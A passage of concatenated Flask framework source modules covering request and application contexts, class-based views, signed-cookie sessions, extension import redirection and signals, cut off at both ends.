        return rv

    def on_json_loading_failed(self, e):
        """Called if decoding of the JSON data failed.  The return value of
        this method is used by :meth:`get_json` when an error occurred.  The
        default implementation just raises a :class:`BadRequest` exception.

        .. versionchanged:: 0.10
           Removed buggy previous behavior of generating a random JSON
           response.  If you want that behavior back you can trivially
           add it by subclassing.

        .. versionadded:: 0.8
        """
        ctx = _request_ctx_stack.top
        if ctx is not None and ctx.app.config.get('DEBUG', False):
            raise BadRequest('Failed to decode JSON object: {0}'.format(e))
        raise BadRequest()

    def _load_form_data(self):
        RequestBase._load_form_data(self)

        # In debug mode we're replacing the files multidict with an ad-hoc
        # subclass that raises a different error for key errors.
        ctx = _request_ctx_stack.top
        if ctx is not None and ctx.app.debug and \
           self.mimetype != 'multipart/form-data' and not self.files:
            from .debughelpers import attach_enctype_error_multidict
            attach_enctype_error_multidict(self)


class Response(ResponseBase):
    """The response object that is used by default in Flask.  Works like the
    response object from Werkzeug but is set to have an HTML mimetype by
    default.  Quite often you don't have to create this object yourself because
    :meth:`~flask.Flask.make_response` will take care of that for you.

    If you want to replace the response object used you can subclass this and
    set :attr:`~flask.Flask.response_class` to your subclass.
    """
    default_mimetype = 'text/html'






# -*- coding: utf-8 -*-
"""
    flask.exthook
    ~~~~~~~~~~~~~

    Redirect imports for extensions.  This module basically makes it possible
    for us to transition from flaskext.foo to flask_foo without having to
    force all extensions to upgrade at the same time.

    When a user does ``from flask.ext.foo import bar`` it will attempt to
    import ``from flask_foo import bar`` first and when that fails it will
    try to import ``from flaskext.foo import bar``.

    We're switching from namespace packages because it was just too painful for
    everybody involved.

    This is used by `flask.ext`.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
import sys
import os
import warnings
from ._compat import reraise


class ExtDeprecationWarning(DeprecationWarning):
    pass

warnings.simplefilter('always', ExtDeprecationWarning)


class ExtensionImporter(object):
    """This importer redirects imports from this submodule to other locations.
    This makes it possible to transition from the old flaskext.name to the
    newer flask_name without people having a hard time.
    """

    def __init__(self, module_choices, wrapper_module):
        self.module_choices = module_choices
        self.wrapper_module = wrapper_module
        self.prefix = wrapper_module + '.'
        self.prefix_cutoff = wrapper_module.count('.') + 1

    def __eq__(self, other):
        return self.__class__.__module__ == other.__class__.__module__ and \
               self.__class__.__name__ == other.__class__.__name__ and \
               self.wrapper_module == other.wrapper_module and \
               self.module_choices == other.module_choices

    def __ne__(self, other):
        return not self.__eq__(other)

    def install(self):
        sys.meta_path[:] = [x for x in sys.meta_path if self != x] + [self]

    def find_module(self, fullname, path=None):
        if fullname.startswith(self.prefix) and \
           fullname != 'flask.ext.ExtDeprecationWarning':
            return self

    def load_module(self, fullname):
        if fullname in sys.modules:
            return sys.modules[fullname]

        modname = fullname.split('.', self.prefix_cutoff)[self.prefix_cutoff]

        warnings.warn(
            "Importing flask.ext.{x} is deprecated, use flask_{x} instead."
            .format(x=modname), ExtDeprecationWarning, stacklevel=2
        )

        for path in self.module_choices:
            realname = path % modname
            try:
                __import__(realname)
            except ImportError:
                exc_type, exc_value, tb = sys.exc_info()
                # since we only establish the entry in sys.modules at the
                # very this seems to be redundant, but if recursive imports
                # happen we will call into the move import a second time.
                # On the second invocation we still don't have an entry for
                # fullname in sys.modules, but we will end up with the same
                # fake module name and that import will succeed since this
                # one already has a temporary entry in the modules dict.
                # Since this one "succeeded" temporarily that second
                # invocation now will have created a fullname entry in
                # sys.modules which we have to kill.
                sys.modules.pop(fullname, None)

                # If it's an important traceback we reraise it, otherwise
                # we swallow it and try the next choice.  The skipped frame
                # is the one from __import__ above which we don't care about
                if self.is_important_traceback(realname, tb):
                    reraise(exc_type, exc_value, tb.tb_next)
                continue
            module = sys.modules[fullname] = sys.modules[realname]
            if '.' not in modname:
                setattr(sys.modules[self.wrapper_module], modname, module)

            if realname.startswith('flaskext.'):
                warnings.warn(
                    "Detected extension named flaskext.{x}, please rename it "
                    "to flask_{x}. The old form is deprecated."
                    .format(x=modname), ExtDeprecationWarning
                )

            return module
        raise ImportError('No module named %s' % fullname)

    def is_important_traceback(self, important_module, tb):
        """Walks a traceback's frames and checks if any of the frames
        originated in the given important module.  If that is the case then we
        were able to import the module itself but apparently something went
        wrong when the module was imported.  (Eg: import of an import failed).
        """
        while tb is not None:
            if self.is_important_frame(important_module, tb):
                return True
            tb = tb.tb_next
        return False

    def is_important_frame(self, important_module, tb):
        """Checks a single frame if it's important."""
        g = tb.tb_frame.f_globals
        if '__name__' not in g:
            return False

        module_name = g['__name__']

        # Python 2.7 Behavior.  Modules are cleaned up late so the
        # name shows up properly here.  Success!
        if module_name == important_module:
            return True

        # Some python versions will clean up modules so early that the
        # module name at that point is no longer set.  Try guessing from
        # the filename then.
        filename = os.path.abspath(tb.tb_frame.f_code.co_filename)
        test_string = os.path.sep + important_module.replace('.', os.path.sep)
        return test_string + '.py' in filename or \
               test_string + os.path.sep + '__init__.py' in filename






# -*- coding: utf-8 -*-
"""
    flask.views
    ~~~~~~~~~~~

    This module provides class-based views inspired by the ones in Django.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
from .globals import request
from ._compat import with_metaclass


http_method_funcs = frozenset(['get', 'post', 'head', 'options',
                               'delete', 'put', 'trace', 'patch'])


class View(object):
    """Alternative way to use view functions.  A subclass has to implement
    :meth:`dispatch_request` which is called with the view arguments from
    the URL routing system.  If :attr:`methods` is provided the methods
    do not have to be passed to the :meth:`~flask.Flask.add_url_rule`
    method explicitly::

        class MyView(View):
            methods = ['GET']

            def dispatch_request(self, name):
                return 'Hello %s!' % name

        app.add_url_rule('/hello/<name>', view_func=MyView.as_view('myview'))

    When you want to decorate a pluggable view you will have to either do that
    when the view function is created (by wrapping the return value of
    :meth:`as_view`) or you can use the :attr:`decorators` attribute::

        class SecretView(View):
            methods = ['GET']
            decorators = [superuser_required]

            def dispatch_request(self):
                ...

    The decorators stored in the decorators list are applied one after another
    when the view function is created.  Note that you can *not* use the class
    based decorators since those would decorate the view class and not the
    generated view function!
    """

    #: A list of methods this view can handle.
    methods = None

    #: The canonical way to decorate class-based views is to decorate the
    #: return value of as_view().  However since this moves parts of the
    #: logic from the class declaration to the place where it's hooked
    #: into the routing system.
    #:
    #: You can place one or more decorators in this list and whenever the
    #: view function is created the result is automatically decorated.
    #:
    #: .. versionadded:: 0.8
    decorators = ()

    def dispatch_request(self):
        """Subclasses have to override this method to implement the
        actual view function code.  This method is called with all
        the arguments from the URL rule.
        """
        raise NotImplementedError()

    @classmethod
    def as_view(cls, name, *class_args, **class_kwargs):
        """Converts the class into an actual view function that can be used
        with the routing system.  Internally this generates a function on the
        fly which will instantiate the :class:`View` on each request and call
        the :meth:`dispatch_request` method on it.

        The arguments passed to :meth:`as_view` are forwarded to the
        constructor of the class.
        """
        def view(*args, **kwargs):
            self = view.view_class(*class_args, **class_kwargs)
            return self.dispatch_request(*args, **kwargs)

        if cls.decorators:
            view.__name__ = name
            view.__module__ = cls.__module__
            for decorator in cls.decorators:
                view = decorator(view)

        # We attach the view class to the view function for two reasons:
        # first of all it allows us to easily figure out what class-based
        # view this thing came from, secondly it's also used for instantiating
        # the view class so you can actually replace it with something else
        # for testing purposes and debugging.
        view.view_class = cls
        view.__name__ = name
        view.__doc__ = cls.__doc__
        view.__module__ = cls.__module__
        view.methods = cls.methods
        return view


class MethodViewType(type):

    def __new__(cls, name, bases, d):
        rv = type.__new__(cls, name, bases, d)
        if 'methods' not in d:
            methods = set(rv.methods or [])
            for key in d:
                if key in http_method_funcs:
                    methods.add(key.upper())
            # If we have no method at all in there we don't want to
            # add a method list.  (This is for instance the case for
            # the base class or another subclass of a base method view
            # that does not introduce new methods).
            if methods:
                rv.methods = sorted(methods)
        return rv


class MethodView(with_metaclass(MethodViewType, View)):
    """Like a regular class-based view but that dispatches requests to
    particular methods.  For instance if you implement a method called
    :meth:`get` it means you will response to ``'GET'`` requests and
    the :meth:`dispatch_request` implementation will automatically
    forward your request to that.  Also :attr:`options` is set for you
    automatically::

        class CounterAPI(MethodView):

            def get(self):
                return session.get('counter', 0)

            def post(self):
                session['counter'] = session.get('counter', 0) + 1
                return 'OK'

        app.add_url_rule('/counter', view_func=CounterAPI.as_view('counter'))
    """
    def dispatch_request(self, *args, **kwargs):
        meth = getattr(self, request.method.lower(), None)
        # If the request method is HEAD and we don't have a handler for it
        # retry with GET.
        if meth is None and request.method == 'HEAD':
            meth = getattr(self, 'get', None)
        assert meth is not None, 'Unimplemented method %r' % request.method
        return meth(*args, **kwargs)






# -*- coding: utf-8 -*-
"""
    flask.ctx
    ~~~~~~~~~

    Implements the objects required to keep the context.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import sys
from functools import update_wrapper

from werkzeug.exceptions import HTTPException

from .globals import _request_ctx_stack, _app_ctx_stack
from .signals import appcontext_pushed, appcontext_popped
from ._compat import BROKEN_PYPY_CTXMGR_EXIT, reraise


# a singleton sentinel value for parameter defaults
_sentinel = object()


class _AppCtxGlobals(object):
    """A plain object."""

    def get(self, name, default=None):
        return self.__dict__.get(name, default)

    def pop(self, name, default=_sentinel):
        if default is _sentinel:
            return self.__dict__.pop(name)
        else:
            return self.__dict__.pop(name, default)

    def setdefault(self, name, default=None):
        return self.__dict__.setdefault(name, default)

    def __contains__(self, item):
        return item in self.__dict__

    def __iter__(self):
        return iter(self.__dict__)

    def __repr__(self):
        top = _app_ctx_stack.top
        if top is not None:
            return '<flask.g of %r>' % top.app.name
        return object.__repr__(self)


def after_this_request(f):
    """Executes a function after this request.  This is useful to modify
    response objects.  The function is passed the response object and has
    to return the same or a new one.

    Example::

        @app.route('/')
        def index():
            @after_this_request
            def add_header(response):
                response.headers['X-Foo'] = 'Parachute'
                return response
            return 'Hello World!'

    This is more useful if a function other than the view function wants to
    modify a response.  For instance think of a decorator that wants to add
    some headers without converting the return value into a response object.

    .. versionadded:: 0.9
    """
    _request_ctx_stack.top._after_request_functions.append(f)
    return f


def copy_current_request_context(f):
    """A helper function that decorates a function to retain the current
    request context.  This is useful when working with greenlets.  The moment
    the function is decorated a copy of the request context is created and
    then pushed when the function is called.

    Example::

        import gevent
        from flask import copy_current_request_context

        @app.route('/')
        def index():
            @copy_current_request_context
            def do_some_work():
                # do some work here, it can access flask.request like you
                # would otherwise in the view function.
                ...
            gevent.spawn(do_some_work)
            return 'Regular response'

    .. versionadded:: 0.10
    """
    top = _request_ctx_stack.top
    if top is None:
        raise RuntimeError('This decorator can only be used at local scopes '
            'when a request context is on the stack.  For instance within '
            'view functions.')
    reqctx = top.copy()
    def wrapper(*args, **kwargs):
        with reqctx:
            return f(*args, **kwargs)
    return update_wrapper(wrapper, f)


def has_request_context():
    """If you have code that wants to test if a request context is there or
    not this function can be used.  For instance, you may want to take advantage
    of request information if the request object is available, but fail
    silently if it is unavailable.

    ::

        class User(db.Model):

            def __init__(self, username, remote_addr=None):
                self.username = username
                if remote_addr is None and has_request_context():
                    remote_addr = request.remote_addr
                self.remote_addr = remote_addr

    Alternatively you can also just test any of the context bound objects
    (such as :class:`request` or :class:`g` for truthness)::

        class User(db.Model):

            def __init__(self, username, remote_addr=None):
                self.username = username
                if remote_addr is None and request:
                    remote_addr = request.remote_addr
                self.remote_addr = remote_addr

    .. versionadded:: 0.7
    """
    return _request_ctx_stack.top is not None


def has_app_context():
    """Works like :func:`has_request_context` but for the application
    context.  You can also just do a boolean check on the
    :data:`current_app` object instead.

    .. versionadded:: 0.9
    """
    return _app_ctx_stack.top is not None


class AppContext(object):
    """The application context binds an application object implicitly
    to the current thread or greenlet, similar to how the
    :class:`RequestContext` binds request information.  The application
    context is also implicitly created if a request context is created
    but the application is not on top of the individual application
    context.
    """

    def __init__(self, app):
        self.app = app
        self.url_adapter = app.create_url_adapter(None)
        self.g = app.app_ctx_globals_class()

        # Like request context, app contexts can be pushed multiple times
        # but there a basic "refcount" is enough to track them.
        self._refcnt = 0

    def push(self):
        """Binds the app context to the current context."""
        self._refcnt += 1
        if hasattr(sys, 'exc_clear'):
            sys.exc_clear()
        _app_ctx_stack.push(self)
        appcontext_pushed.send(self.app)

    def pop(self, exc=_sentinel):
        """Pops the app context."""
        try:
            self._refcnt -= 1
            if self._refcnt <= 0:
                if exc is _sentinel:
                    exc = sys.exc_info()[1]
                self.app.do_teardown_appcontext(exc)
        finally:
            rv = _app_ctx_stack.pop()
        assert rv is self, 'Popped wrong app context.  (%r instead of %r)' \
            % (rv, self)
        appcontext_popped.send(self.app)

    def __enter__(self):
        self.push()
        return self

    def __exit__(self, exc_type, exc_value, tb):
        self.pop(exc_value)

        if BROKEN_PYPY_CTXMGR_EXIT and exc_type is not None:
            reraise(exc_type, exc_value, tb)


class RequestContext(object):
    """The request context contains all request relevant information.  It is
    created at the beginning of the request and pushed to the
    `_request_ctx_stack` and removed at the end of it.  It will create the
    URL adapter and request object for the WSGI environment provided.

    Do not attempt to use this class directly, instead use
    :meth:`~flask.Flask.test_request_context` and
    :meth:`~flask.Flask.request_context` to create this object.

    When the request context is popped, it will evaluate all the
    functions registered on the application for teardown execution
    (:meth:`~flask.Flask.teardown_request`).

    The request context is automatically popped at the end of the request
    for you.  In debug mode the request context is kept around if
    exceptions happen so that interactive debuggers have a chance to
    introspect the data.  With 0.4 this can also be forced for requests
    that did not fail and outside of ``DEBUG`` mode.  By setting
    ``'flask._preserve_context'`` to ``True`` on the WSGI environment the
    context will not pop itself at the end of the request.  This is used by
    the :meth:`~flask.Flask.test_client` for example to implement the
    deferred cleanup functionality.

    You might find this helpful for unittests where you need the
    information from the context local around for a little longer.  Make
    sure to properly :meth:`~werkzeug.LocalStack.pop` the stack yourself in
    that situation, otherwise your unittests will leak memory.
    """

    def __init__(self, app, environ, request=None):
        self.app = app
        if request is None:
            request = app.request_class(environ)
        self.request = request
        self.url_adapter = app.create_url_adapter(self.request)
        self.flashes = None
        self.session = None

        # Request contexts can be pushed multiple times and interleaved with
        # other request contexts.  Now only if the last level is popped we
        # get rid of them.  Additionally if an application context is missing
        # one is created implicitly so for each level we add this information
        self._implicit_app_ctx_stack = []

        # indicator if the context was preserved.  Next time another context
        # is pushed the preserved context is popped.
        self.preserved = False

        # remembers the exception for pop if there is one in case the context
        # preservation kicks in.
        self._preserved_exc = None

        # Functions that should be executed after the request on the response
        # object.  These will be called before the regular "after_request"
        # functions.
        self._after_request_functions = []

        self.match_request()

    def _get_g(self):
        return _app_ctx_stack.top.g
    def _set_g(self, value):
        _app_ctx_stack.top.g = value
    g = property(_get_g, _set_g)
    del _get_g, _set_g

    def copy(self):
        """Creates a copy of this request context with the same request object.
        This can be used to move a request context to a different greenlet.
        Because the actual request object is the same this cannot be used to
        move a request context to a different thread unless access to the
        request object is locked.

        .. versionadded:: 0.10
        """
        return self.__class__(self.app,
            environ=self.request.environ,
            request=self.request
        )

    def match_request(self):
        """Can be overridden by a subclass to hook into the matching
        of the request.
        """
        try:
            url_rule, self.request.view_args = \
                self.url_adapter.match(return_rule=True)
            self.request.url_rule = url_rule
        except HTTPException as e:
            self.request.routing_exception = e

    def push(self):
        """Binds the request context to the current context."""
        # If an exception occurs in debug mode or if context preservation is
        # activated under exception situations exactly one context stays
        # on the stack.  The rationale is that you want to access that
        # information under debug situations.  However if someone forgets to
        # pop that context again we want to make sure that on the next push
        # it's invalidated, otherwise we run at risk that something leaks
        # memory.  This is usually only a problem in test suite since this
        # functionality is not active in production environments.
        top = _request_ctx_stack.top
        if top is not None and top.preserved:
            top.pop(top._preserved_exc)

        # Before we push the request context we have to ensure that there
        # is an application context.
        app_ctx = _app_ctx_stack.top
        if app_ctx is None or app_ctx.app != self.app:
            app_ctx = self.app.app_context()
            app_ctx.push()
            self._implicit_app_ctx_stack.append(app_ctx)
        else:
            self._implicit_app_ctx_stack.append(None)

        if hasattr(sys, 'exc_clear'):
            sys.exc_clear()

        _request_ctx_stack.push(self)

        # Open the session at the moment that the request context is
        # available. This allows a custom open_session method to use the
        # request context (e.g. code that access database information
        # stored on `g` instead of the appcontext).
        self.session = self.app.open_session(self.request)
        if self.session is None:
            self.session = self.app.make_null_session()

    def pop(self, exc=_sentinel):
        """Pops the request context and unbinds it by doing that.  This will
        also trigger the execution of functions registered by the
        :meth:`~flask.Flask.teardown_request` decorator.

        .. versionchanged:: 0.9
           Added the `exc` argument.
        """
        app_ctx = self._implicit_app_ctx_stack.pop()

        try:
            clear_request = False
            if not self._implicit_app_ctx_stack:
                self.preserved = False
                self._preserved_exc = None
                if exc is _sentinel:
                    exc = sys.exc_info()[1]
                self.app.do_teardown_request(exc)

                # If this interpreter supports clearing the exception information
                # we do that now.  This will only go into effect on Python 2.x,
                # on 3.x it disappears automatically at the end of the exception
                # stack.
                if hasattr(sys, 'exc_clear'):
                    sys.exc_clear()

                request_close = getattr(self.request, 'close', None)
                if request_close is not None:
                    request_close()
                clear_request = True
        finally:
            rv = _request_ctx_stack.pop()

            # get rid of circular dependencies at the end of the request
            # so that we don't require the GC to be active.
            if clear_request:
                rv.request.environ['werkzeug.request'] = None

            # Get rid of the app as well if necessary.
            if app_ctx is not None:
                app_ctx.pop(exc)

            assert rv is self, 'Popped wrong request context.  ' \
                '(%r instead of %r)' % (rv, self)

    def auto_pop(self, exc):
        if self.request.environ.get('flask._preserve_context') or \
           (exc is not None and self.app.preserve_context_on_exception):
            self.preserved = True
            self._preserved_exc = exc
        else:
            self.pop(exc)

    def __enter__(self):
        self.push()
        return self

    def __exit__(self, exc_type, exc_value, tb):
        # do not pop the request stack if we are in debug mode and an
        # exception happened.  This will allow the debugger to still
        # access the request object in the interactive shell.  Furthermore
        # the context can be force kept alive for the test client.
        # See flask.testing for how this works.
        self.auto_pop(exc_value)

        if BROKEN_PYPY_CTXMGR_EXIT and exc_type is not None:
            reraise(exc_type, exc_value, tb)

    def __repr__(self):
        return '<%s \'%s\' [%s] of %s>' % (
            self.__class__.__name__,
            self.request.url,
            self.request.method,
            self.app.name,
        )






# -*- coding: utf-8 -*-
"""
    flask.sessions
    ~~~~~~~~~~~~~~

    Implements cookie based sessions based on itsdangerous.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import uuid
import hashlib
from base64 import b64encode, b64decode
from datetime import datetime
from werkzeug.http import http_date, parse_date
from werkzeug.datastructures import CallbackDict
from . import Markup, json
from ._compat import iteritems, text_type
from .helpers import total_seconds

from itsdangerous import URLSafeTimedSerializer, BadSignature


class SessionMixin(object):
    """Expands a basic dictionary with an accessors that are expected
    by Flask extensions and users for the session.
    """

    def _get_permanent(self):
        return self.get('_permanent', False)

    def _set_permanent(self, value):
        self['_permanent'] = bool(value)

    #: this reflects the ``'_permanent'`` key in the dict.
    permanent = property(_get_permanent, _set_permanent)
    del _get_permanent, _set_permanent

    #: some session backends can tell you if a session is new, but that is
    #: not necessarily guaranteed.  Use with caution.  The default mixin
    #: implementation just hardcodes ``False`` in.
    new = False

    #: for some backends this will always be ``True``, but some backends will
    #: default this to false and detect changes in the dictionary for as
    #: long as changes do not happen on mutable structures in the session.
    #: The default mixin implementation just hardcodes ``True`` in.
    modified = True


def _tag(value):
    if isinstance(value, tuple):
        return {' t': [_tag(x) for x in value]}
    elif isinstance(value, uuid.UUID):
        return {' u': value.hex}
    elif isinstance(value, bytes):
        return {' b': b64encode(value).decode('ascii')}
    elif callable(getattr(value, '__html__', None)):
        return {' m': text_type(value.__html__())}
    elif isinstance(value, list):
        return [_tag(x) for x in value]
    elif isinstance(value, datetime):
        return {' d': http_date(value)}
    elif isinstance(value, dict):
        return dict((k, _tag(v)) for k, v in iteritems(value))
    elif isinstance(value, str):
        try:
            return text_type(value)
        except UnicodeError:
            from flask.debughelpers import UnexpectedUnicodeError
            raise UnexpectedUnicodeError(u'A byte string with '
                u'non-ASCII data was passed to the session system '
                u'which can only store unicode strings.  Consider '
                u'base64 encoding your string (String was %r)' % value)
    return value


class TaggedJSONSerializer(object):
    """A customized JSON serializer that supports a few extra types that
    we take for granted when serializing (tuples, markup objects, datetime).
    """

    def dumps(self, value):
        return json.dumps(_tag(value), separators=(',', ':'))

    def loads(self, value):
        def object_hook(obj):
            if len(obj) != 1:
                return obj
            the_key, the_value = next(iteritems(obj))
            if the_key == ' t':
                return tuple(the_value)
            elif the_key == ' u':
                return uuid.UUID(the_value)
            elif the_key == ' b':
                return b64decode(the_value)
            elif the_key == ' m':
                return Markup(the_value)
            elif the_key == ' d':
                return parse_date(the_value)
            return obj
        return json.loads(value, object_hook=object_hook)


session_json_serializer = TaggedJSONSerializer()


class SecureCookieSession(CallbackDict, SessionMixin):
    """Base class for sessions based on signed cookies."""

    def __init__(self, initial=None):
        def on_update(self):
            self.modified = True
        CallbackDict.__init__(self, initial, on_update)
        self.modified = False


class NullSession(SecureCookieSession):
    """Class used to generate nicer error messages if sessions are not
    available.  Will still allow read-only access to the empty session
    but fail on setting.
    """

    def _fail(self, *args, **kwargs):
        raise RuntimeError('The session is unavailable because no secret '
                           'key was set.  Set the secret_key on the '
                           'application to something unique and secret.')
    __setitem__ = __delitem__ = clear = pop = popitem = \
        update = setdefault = _fail
    del _fail


class SessionInterface(object):
    """The basic interface you have to implement in order to replace the
    default session interface which uses werkzeug's securecookie
    implementation.  The only methods you have to implement are
    :meth:`open_session` and :meth:`save_session`, the others have
    useful defaults which you don't need to change.

    The session object returned by the :meth:`open_session` method has to
    provide a dictionary like interface plus the properties and methods
    from the :class:`SessionMixin`.  We recommend just subclassing a dict
    and adding that mixin::

        class Session(dict, SessionMixin):
            pass

    If :meth:`open_session` returns ``None`` Flask will call into
    :meth:`make_null_session` to create a session that acts as replacement
    if the session support cannot work because some requirement is not
    fulfilled.  The default :class:`NullSession` class that is created
    will complain that the secret key was not set.

    To replace the session interface on an application all you have to do
    is to assign :attr:`flask.Flask.session_interface`::

        app = Flask(__name__)
        app.session_interface = MySessionInterface()

    .. versionadded:: 0.8
    """

    #: :meth:`make_null_session` will look here for the class that should
    #: be created when a null session is requested.  Likewise the
    #: :meth:`is_null_session` method will perform a typecheck against
    #: this type.
    null_session_class = NullSession

    #: A flag that indicates if the session interface is pickle based.
    #: This can be used by flask extensions to make a decision in regards
    #: to how to deal with the session object.
    #:
    #: .. versionadded:: 0.10
    pickle_based = False

    def make_null_session(self, app):
        """Creates a null session which acts as a replacement object if the
        real session support could not be loaded due to a configuration
        error.  This mainly aids the user experience because the job of the
        null session is to still support lookup without complaining but
        modifications are answered with a helpful error message of what
        failed.

        This creates an instance of :attr:`null_session_class` by default.
        """
        return self.null_session_class()

    def is_null_session(self, obj):
        """Checks if a given object is a null session.  Null sessions are
        not asked to be saved.

        This checks if the object is an instance of :attr:`null_session_class`
        by default.
        """
        return isinstance(obj, self.null_session_class)

    def get_cookie_domain(self, app):
        """Helpful helper method that returns the cookie domain that should
        be used for the session cookie if session cookies are used.
        """
        if app.config['SESSION_COOKIE_DOMAIN'] is not None:
            return app.config['SESSION_COOKIE_DOMAIN']
        if app.config['SERVER_NAME'] is not None:
            # chop off the port which is usually not supported by browsers
            rv = '.' + app.config['SERVER_NAME'].rsplit(':', 1)[0]

            # Google chrome does not like cookies set to .localhost, so
            # we just go with no domain then.  Flask documents anyways that
            # cross domain cookies need a fully qualified domain name
            if rv == '.localhost':
                rv = None

            # If we infer the cookie domain from the server name we need
            # to check if we are in a subpath.  In that case we can't
            # set a cross domain cookie.
            if rv is not None:
                path = self.get_cookie_path(app)
                if path != '/':
                    rv = rv.lstrip('.')

            return rv

    def get_cookie_path(self, app):
        """Returns the path for which the cookie should be valid.  The
        default implementation uses the value from the ``SESSION_COOKIE_PATH``
        config var if it's set, and falls back to ``APPLICATION_ROOT`` or
        uses ``/`` if it's ``None``.
        """
        return app.config['SESSION_COOKIE_PATH'] or \
               app.config['APPLICATION_ROOT'] or '/'

    def get_cookie_httponly(self, app):
        """Returns True if the session cookie should be httponly.  This
        currently just returns the value of the ``SESSION_COOKIE_HTTPONLY``
        config var.
        """
        return app.config['SESSION_COOKIE_HTTPONLY']

    def get_cookie_secure(self, app):
        """Returns True if the cookie should be secure.  This currently
        just returns the value of the ``SESSION_COOKIE_SECURE`` setting.
        """
        return app.config['SESSION_COOKIE_SECURE']

    def get_expiration_time(self, app, session):
        """A helper method that returns an expiration date for the session
        or ``None`` if the session is linked to the browser session.  The
        default implementation returns now + the permanent session
        lifetime configured on the application.
        """
        if session.permanent:
            return datetime.utcnow() + app.permanent_session_lifetime

    def should_set_cookie(self, app, session):
        """Indicates whether a cookie should be set now or not.  This is
        used by session backends to figure out if they should emit a
        set-cookie header or not.  The default behavior is controlled by
        the ``SESSION_REFRESH_EACH_REQUEST`` config variable.  If
        it's set to ``False`` then a cookie is only set if the session is
        modified, if set to ``True`` it's always set if the session is
        permanent.

        This check is usually skipped if sessions get deleted.

        .. versionadded:: 0.11
        """
        if session.modified:
            return True
        save_each = app.config['SESSION_REFRESH_EACH_REQUEST']
        return save_each and session.permanent

    def open_session(self, app, request):
        """This method has to be implemented and must either return ``None``
        in case the loading failed because of a configuration error or an
        instance of a session object which implements a dictionary like
        interface + the methods and attributes on :class:`SessionMixin`.
        """
        raise NotImplementedError()

    def save_session(self, app, session, response):
        """This is called for actual sessions returned by :meth:`open_session`
        at the end of the request.  This is still called during a request
        context so if you absolutely need access to the request you can do
        that.
        """
        raise NotImplementedError()


class SecureCookieSessionInterface(SessionInterface):
    """The default session interface that stores sessions in signed cookies
    through the :mod:`itsdangerous` module.
    """
    #: the salt that should be applied on top of the secret key for the
    #: signing of cookie based sessions.
    salt = 'cookie-session'
    #: the hash function to use for the signature.  The default is sha1
    digest_method = staticmethod(hashlib.sha1)
    #: the name of the itsdangerous supported key derivation.  The default
    #: is hmac.
    key_derivation = 'hmac'
    #: A python serializer for the payload.  The default is a compact
    #: JSON derived serializer with support for some extra Python types
    #: such as datetime objects or tuples.
    serializer = session_json_serializer
    session_class = SecureCookieSession

    def get_signing_serializer(self, app):
        if not app.secret_key:
            return None
        signer_kwargs = dict(
            key_derivation=self.key_derivation,
            digest_method=self.digest_method
        )
        return URLSafeTimedSerializer(app.secret_key, salt=self.salt,
                                      serializer=self.serializer,
                                      signer_kwargs=signer_kwargs)

    def open_session(self, app, request):
        s = self.get_signing_serializer(app)
        if s is None:
            return None
        val = request.cookies.get(app.session_cookie_name)
        if not val:
            return self.session_class()
        max_age = total_seconds(app.permanent_session_lifetime)
        try:
            data = s.loads(val, max_age=max_age)
            return self.session_class(data)
        except BadSignature:
            return self.session_class()

    def save_session(self, app, session, response):
        domain = self.get_cookie_domain(app)
        path = self.get_cookie_path(app)

        # Delete case.  If there is no session we bail early.
        # If the session was modified to be empty we remove the
        # whole cookie.
        if not session:
            if session.modified:
                response.delete_cookie(app.session_cookie_name,
                                       domain=domain, path=path)
            return

        # Modification case.  There are upsides and downsides to
        # emitting a set-cookie header each request.  The behavior
        # is controlled by the :meth:`should_set_cookie` method
        # which performs a quick check to figure out if the cookie
        # should be set or not.  This is controlled by the
        # SESSION_REFRESH_EACH_REQUEST config flag as well as
        # the permanent flag on the session itself.
        if not self.should_set_cookie(app, session):
            return

        httponly = self.get_cookie_httponly(app)
        secure = self.get_cookie_secure(app)
        expires = self.get_expiration_time(app, session)
        val = self.get_signing_serializer(app).dumps(dict(session))
        response.set_cookie(app.session_cookie_name, val,
                            expires=expires, httponly=httponly,
                            domain=domain, path=path, secure=secure)






# -*- coding: utf-8 -*-
"""
    flask.__main__
    ~~~~~~~~~~~~~~

    Alias for flask.run for the command line.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""


if __name__ == '__main__':
    from .cli import main
    main(as_module=True)






# -*- coding: utf-8 -*-
"""
    flask.signals
    ~~~~~~~~~~~~~

    Implements signals based on blinker if available, otherwise
    falls silently back to a noop.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
signals_available = False
try:
    from blinker import Namespace
    signals_available = True
except ImportError:
    class Namespace(object):
        def signal(self, name, doc=None):
            return _FakeSignal(name, doc)

    class _FakeSignal(object):
        """If blinker is unavailable, create a fake class with the same
        interface that allows sending of signals but will fail with an
        error on anything else.  Instead of doing anything on send, it
        will just ignore the arguments and do nothing instead.
        """

        def __init__(self, name, doc=None):
            self.name = name
            self.__doc__ = doc
        def _fail(self, *args, **kwargs):
            raise RuntimeError('signalling support is unavailable '
                               'because the blinker library is '
                               'not installed.')
        send = lambda *a, **kw: None
        connect = disconnect = has_receivers_for = receivers_for = \
            temporarily_connected_to = connected_to = _fail
        del _fail

# The namespace for code signals.  If you are not flask code, do
# not put signals in here.  Create your own namespace instead.
_signals = Namespace()


# Core signals.  For usage examples grep the source code or consult
# the API documentation in docs/api.rst as well as docs/signals.rst
template_rendered = _signals.signal('template-rendered')
before_render_template = _signals.signal('before-render-template')
request_started = _signals.signal('request-started')
request_finished = _signals.signal('request-finished')
request_tearing_down = _signals.signal('request-tearing-down')
got_request_exception = _signals.signal('got-request-exception')
appcontext_tearing_down = _signals.signal('appcontext-tearing-down')
appcontext_pushed = _signals.signal('appcontext-pushed')
appcontext_popped = _signals.signal('appcontext-popped')
message_flashed = _signals.signal('message-flashed')






# -*- coding: utf-8 -*-
"""
    flask.testing
    ~~~~~~~~~~~~~

    Implements test support helpers.  This module is lazily imported
    and usually not used in production environments.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

from contextlib import contextmanager
from werkzeug.test import Client, EnvironBuilder
from flask import _request_ctx_stack

try:
    from werkzeug.urls import url_parse
except ImportError:
    from urlparse import urlsplit as url_parse


def make_test_environ_builder(app, path='/', base_url=None, *args, **kwargs):
    """Creates a new test builder with some application defaults thrown in."""
